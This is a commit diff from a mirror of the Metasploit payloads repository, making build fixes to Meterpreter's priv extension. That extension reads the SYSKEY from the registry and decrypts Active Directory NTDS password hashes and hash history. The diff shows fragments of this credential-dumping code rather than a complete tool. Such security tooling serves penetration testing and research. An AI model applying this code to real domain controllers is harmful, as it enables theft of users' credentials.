github/metasploit-payloads
1
Fork 0
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-20 20:37:27 +01:00
Code Releases Activity

clean build

Browse Source 
the project now builds cleanly. the code isn't fully itnegrated
but it's in there and it builds which means it's nearly
perfect =P

MSP-12356
This commit is contained in:
David Maloney 2015-04-23 11:53:33 -05:00
parent 2769d986fe
commit 54b91aab08
5 changed files with 16 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
c/meterpreter/source/extensions/priv/server/ntds_decrypt.c
View File

@ -1,5 +1,11 @@
#include "precomp.h"
void bytes_to_string(LPBYTE data, int length, LPSTR output){
for (int i = 0; i < length; i++){
sprintf(output + (i << 1), "%02X", ((LPBYTE)data)[i]);
}
}
BOOL decrypt_hash(encryptedHash *encryptedNTLM, decryptedPEK *pekDecrypted, char *hashString, DWORD rid){
BOOL cryptOK = FALSE;
BYTE encHashData[17] = { 0 };
@ -117,6 +123,6 @@ BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted, int
// Clean up after ourselves
CryptDestroyKey(rc4KeyFinal);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, NULL);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return TRUE;
}

3
c/meterpreter/source/extensions/priv/server/ntds_decrypt.h
View File

@ -18,9 +18,10 @@ typedef struct{
unsigned char pekKey[16];
}decryptedPEK;
void bytes_to_string(LPBYTE data, int length, LPSTR output);
BOOL decrypt_hash(encryptedHash *encryptedNTLM, decryptedPEK *pekDecrypted, char *hashString, DWORD rid);
BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash);
BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory, decryptedPEK *pekDecrypted, DWORD rid, LPBYTE *accountHistory, int *historyCount);
BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory, decryptedPEK *pekDecrypted, DWORD rid, char *accountHistory, int *historyCount);
BOOL decrypt_PEK(unsigned char *sysKey, encryptedPEK *pekEncrypted, decryptedPEK *pekDecrypted);
BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted, int hashIterations, DWORD lenBuffer);
#endif

6
c/meterpreter/source/extensions/priv/server/ntds_jet.c
View File

@ -283,20 +283,20 @@ JET_ERR read_table(jetState *ntdsState, ntdsColumns *accountColumns, decryptedPE
if (readStatus == JET_wrnBufferTruncated){
LPBYTE encNTHist = (LPBYTE)malloc(columnSize);
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, encNTHist, columnSize, &columnSize, 0, NULL);
decrypt_hash_history(encNTHist, columnSize, pekDecrypted, userAccount->accountRID, &userAccount->ntHistory, &userAccount->numNTHistory);
decrypt_hash_history(encNTHist, columnSize, pekDecrypted, userAccount->accountRID, userAccount->ntHistory, &userAccount->numNTHistory);
// If there's no NT history, there's no LM history
// Grab the LM History
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, NULL, 0, &columnSize, 0, NULL);
if (readStatus == JET_wrnBufferTruncated){
LPBYTE encLMHist = (LPBYTE)malloc(columnSize);
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, encLMHist, columnSize, &columnSize, 0, NULL);
decrypt_hash_history(encLMHist, columnSize, pekDecrypted, userAccount->accountRID, &userAccount->lmHistory, &userAccount->numLMHistory);
decrypt_hash_history(encLMHist, columnSize, pekDecrypted, userAccount->accountRID, userAccount->lmHistory, &userAccount->numLMHistory);
}
else {
return readStatus;
}
}
dump_account(userAccount);
//dump_account(userAccount);
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
} while (cursorStatus == JET_errSuccess);
if (cursorStatus != JET_errNoCurrentRecord){

4
c/meterpreter/source/extensions/priv/server/precomp.h
View File

@ -2,6 +2,8 @@
#define METERPRETER_SOURCE_EXTENSION_PRIV_SERVER_PRECOMP_H
#define _WIN32_WINNT 0x0400
#define JET_VERSION 0x0501
#include <inttypes.h>
#include "../priv.h"
#include "./elevate/elevate.h"
#include "passwd.h"
@ -16,7 +18,7 @@
#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h"
#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"
#pragma comment(lib, "Ws2_32.lib")
#define strcasecmp stricmp
// declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c

2
c/meterpreter/source/extensions/priv/server/syskey.c
View File

@ -5,7 +5,7 @@ BOOL get_syskey_component(HKEY lsaHandle, char subkeyName[255], unsigned char *t
long regStatus;
HKEY subkeyHandle;
unsigned char tmpVal[16];
int byteComponent = 0;
intmax_t byteComponent = 0;
regStatus = RegOpenKeyEx(lsaHandle, subkeyName, 0, KEY_READ, &subkeyHandle);
if (regStatus != ERROR_SUCCESS){